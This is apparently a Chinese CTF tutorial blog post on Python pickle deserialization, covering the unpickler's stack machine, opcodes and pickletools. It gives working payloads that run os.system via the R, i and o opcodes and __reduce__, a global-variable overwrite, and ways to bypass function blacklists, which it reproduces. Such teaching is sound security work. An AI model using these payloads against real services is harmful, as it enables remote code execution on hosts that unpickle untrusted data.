初探Pickle反序列化


Pickle原理剖析

为什么需要Pickle

如果我们需要存储的东西是一个dict、一个list,甚至一个对象,依然选用存储字符串的方法就很繁琐。所以需要序列化

序列化:对象-->字符串

反序列:字符串-->对象

各大语言都有自己的反序列库,而Python的库就是Pickle

比如下图,显示了对象的两种显示模式。

初探Pickle反序列化

Pickle的原理

主要使用 pickle.dump()pickle.load()两个函数。

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,则这个date不会被打包!解决方案是写一个__init__方法, 也就是这样:

初探Pickle反序列化

0x01 pickle.loads机制:调用_Unpickler类

pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下:

初探Pickle反序列化

  可以看出,_load_loads基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。

所以,接下来的任务就很清楚了:读一遍_Unpickler类的源码,然后弄清楚它干了什么事。

0x02 _Unpickler类:莫得感情的反序列化机器

在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图): 

初探Pickle反序列化

是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。

  存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。

 

  您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

0x03 pickletools 调试器

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。来看看效果吧:

初探Pickle反序列化

反编译结果:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来试一试优化功能:

初探Pickle反序列化

  • 优化功能:去除了 BINPUTMEMOIZE等不必要的指令

初探Pickle反序列化

初探Pickle反序列化

0x04 反序列化机器:语法严格、向前兼容

pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,目前,pickle有6种版本。

import pickle

a={'1': 1, '2': 2}

print(f'# 原变量:{a!r}')
for i in range(4):
   print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
  • pickle3版本的opcode(指令码)示例:

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止

不过pickle协议是向下兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。

dumps后的字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。

详细步骤讲解可以参考https://zhuanlan.zhihu.com/p/89132768

常用的opcode如下:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

此外, TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。 由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。

  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。

  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。

  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。

  • sub操作符可以构造并赋值原来没有的属性、键值对。

Pickle应用

拼接opcode

将第一个pickle流结尾表示结束的 . 去掉,将第二个pickle流与第一个拼接起来即可。

全局变量覆盖

python源码:

# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

 

函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

  1. R

b'''cos
system
(S'whoami'
tR.'''
  1. i

b'''(S'whoami'
ios
system
.'''
  1. o

b'''(cos
system
S'whoami'
o.'''

pker的使用(推荐)

  • pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。解析器的原理见作者的paper:通过AST来构造Pickle opcode

  • 使用pker,我们可以更方便地编写pickle opcode,pker的使用方法将在下文中详细介绍。需要注意的是,建议在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。

注意事项

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

函数执行

__reduce__

CTF竞赛对pickle的利用多数是在__reduce__方法上。它的指令码是R,干了这么一件事情:

  • 取当前栈的栈顶记为args,然后把它弹掉。

  • 取当前栈的栈顶记为f,然后把它弹掉。

  • args为参数,执行函数f,把结果压进当前栈。

常见payload

初探Pickle反序列化

那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

绕过姿势

  1. 绕过函数黑名单

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

  可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。

  另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:

class Exploit(object):
   def __reduce__(self):
return map,(os.system,["ls"])

  总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。

  1. 全局变量包含:c指令码的妙用

有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应

  1. 绕过c指令module限制:先读入,再篡改

c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢?

  1. 不用reduce,也能RCE(使用其他的opcode)

 

 

参考

https://zhuanlan.zhihu.com/p/89132768

https://xz.aliyun.com/t/7436

上一篇:Photoshop 配色网页按钮制作教程


下一篇:Photoshop 潮流风格运动鞋广告